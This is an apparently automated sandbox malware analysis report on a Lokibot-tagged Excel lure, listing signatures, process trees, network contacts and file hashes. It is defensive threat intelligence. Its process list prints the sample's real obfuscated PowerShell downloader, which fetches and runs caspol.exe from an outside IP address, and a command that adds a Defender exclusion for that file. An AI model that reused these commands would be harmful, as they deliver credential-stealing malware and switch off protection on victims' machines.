Malware Analysis Report

2025-04-03 09:51

Sample ID 241118-vppcza1grl
Target PO-000041492.xls
SHA256 555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7

Threat Level: Known bad

The file PO-000041492.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot family

Process spawned unexpected child process

Lokibot

Blocklisted process makes network request

Evasion via Device Credential Deployment

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Loads dropped DLL

Executes dropped EXE

Reads user/profile data of web browsers

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

outlook_win_path

Checks processor information in registry

Uses Task Scheduler COM API

outlook_office_path

Suspicious use of SetWindowsHookEx

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-18 17:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win7-20240903-en

Max time kernel

139s

Max time network

152s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1320 set thread context of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2736 wrote to memory of 2524 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2736 wrote to memory of 2524 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2736 wrote to memory of 2524 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2736 wrote to memory of 2524 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2524 wrote to memory of 1588 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 1588 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 1588 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 1588 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2524 wrote to memory of 1548 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2524 wrote to memory of 1548 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2524 wrote to memory of 1548 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2524 wrote to memory of 1548 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1548 wrote to memory of 1396 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1548 wrote to memory of 1396 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1548 wrote to memory of 1396 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1548 wrote to memory of 1396 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2524 wrote to memory of 1320 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2524 wrote to memory of 1320 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2524 wrote to memory of 1320 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2524 wrote to memory of 1320 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1320 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1320 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1320 wrote to memory of 1276 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1320 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 1320 wrote to memory of 1724 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE

"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.134.89:80 e6.o.lencr.org tcp
US 66.63.187.231:80 66.63.187.231 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 66.63.187.231:80 66.63.187.231 tcp
US 66.63.187.231:80 66.63.187.231 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.252.157:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/2984-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2984-1-0x00000000720BD000-0x00000000720C8000-memory.dmp

memory/2736-16-0x0000000002450000-0x0000000002452000-memory.dmp

memory/2984-17-0x0000000002D90000-0x0000000002D92000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 dfe9d40108cd6499968560d0319998c6
SHA1 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73
SHA256 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e
SHA512 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 ee08b497c96a8862217c35095e888215
SHA1 5f6c3fc50164607899dd42a4c70599c065f6adfd
SHA256 da9f84f0feaf006c09439cd0c4a1ec0b4dab37b72ebb2b0c03909826ea7bac1e
SHA512 4d731a97165e890f513512467541dfac91bb4db424aae0dd44d496f613b8ed2426040d2eb77bce7f46a123c49adf0b37703af6d6235daeeb50e53e25352f0579

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 c8f867e8804835acdcef809edcd6b49d
SHA1 7fc48e4a1d19ce534efc289e091790586585d3a5
SHA256 3da28514f0baa9c4f173025078582737df6ecd23fcd43c5a8a1bb58363fea8fe
SHA512 23517f9d295f1f7488f71d31ff1dd5e82cb14b22aa19d23ff88048a2841e351d4d846415dbf5f8e5abcb3f9b6c22481cf29f9145c1e9e9d72533a737c70a94f4

C:\Users\Admin\AppData\Local\Temp\CabE070.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta

MD5 db21eb9cf86a8314900d693c5a40c4e9
SHA1 1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c
SHA256 da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102
SHA512 b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 d915575efadd9013b016eadccec52ceb
SHA1 fe411ae53d7131ac28b2e3c93c60ca19c247a54b
SHA256 6b561cda71c61f2dc677f2a3919fe4c5c85b1e5bb28deb37f15a5a955ef650dc
SHA512 9d291df4dd3673359651bd6629337d9d08d64759241b6f063bf1d86b2cb6019f2327bf666e5b261f6d52063352314b6588a475f8282216d24a459f2c08957cd8

\??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline

MD5 9157e976f2a0ea29863876e8a4c1e2cb
SHA1 3697e747c782a20a02c3036d5e20b96388d21c0c
SHA256 9691814f0c819d7d1def6e457f34c40e4e9a4d84481eed226711ba6fd4be68ba
SHA512 8b17c624e7f95dd2c6dfcbd72256ef0c3b329acb1c64763346f5456a84667c2cbce6e12e19d74195dbbab61c2096e2499f2e67351270a67b2b6f8903fe0a735b

\??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.0.cs

MD5 f97fc8141f59078b4354b513d3b083ac
SHA1 293904ab8d5f38a2f0764ee2e35e97e590d8c737
SHA256 f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e
SHA512 87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c

\??\c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp

MD5 ed8692e73778346c5c119c739eab4ecd
SHA1 7b5a8c6a74d235e7902176089cf2dfe7bb2dbe2c
SHA256 8b6bbdbd3ef1e9e5855a819c670bbfd435a61c1783ee26bace1a5510bd01eee9
SHA512 2bddbca89f1eb952a57e7ed28d9ef5bd6a076c978d49441faf164a161419b6028870fb4070a2d78ceeec63a630b64d92ef9a50f2ac14fbf3e01abdb1153775d5

C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.dll

MD5 a7e56b3d3e83870d9d1bcc486415033b
SHA1 5f7fcccb2c8a380587d88af4bd33986d47e90296
SHA256 9081351e5e5cd918353f6ec5b3968a7201188eac04dc39cea6a231e08c1a996f
SHA512 4fc729f47854301b444d3b3790e5aeeee27c42014f102e29dff67c1622642fadd48d513a977551fc73de564d40fe72f42ac4df57661169f2093cbead805fc51f

C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp

MD5 a05e07c6cfc6197d9d65439443f8606e
SHA1 ff84ed75cdda24a6f3844d026627c78b6ac50f1f
SHA256 6ad274e96b0855672b2af7c8c88b89e20418c3f0f0569445fbabf64542e904d0
SHA512 0c8e1293499d564925235a83a124d8cbba777f4a8871b9d97b5bf9d72949308c9b0d77b15152bfc224abc4bd8cb964c911bf2b04121051e2669eded2970f932d

C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.pdb

MD5 75a2c613c4348cd881173825eb038e90
SHA1 2d0c4b17275aeac05736dd144fd6e9a770ba71b9
SHA256 ac26e14fd463b1042542156e9893f82b63036c9f1ec308464b6fb2962e76b404
SHA512 9e54b84591b6ad5e85d20fcbbcae5f5e94fced1443490accc38a2f34468ac13acb58cfca5317516b8ea6ea1e702e42d9318eed7425077ef79e56bf161b1c6310

memory/2984-56-0x00000000720BD000-0x00000000720C8000-memory.dmp

\Users\Admin\AppData\Roaming\caspol.exe

MD5 80358303e33cef71434e6e4a621262c5
SHA1 e7a22b4e5af741f9b4d9982f36164b276bba459a
SHA256 f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7
SHA512 5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e

memory/1320-70-0x00000000002E0000-0x0000000000374000-memory.dmp

memory/1320-71-0x0000000000960000-0x0000000000972000-memory.dmp

memory/1320-72-0x0000000005810000-0x0000000005874000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1724-89-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-87-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-86-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1724-84-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-82-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-80-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-78-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1724-76-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

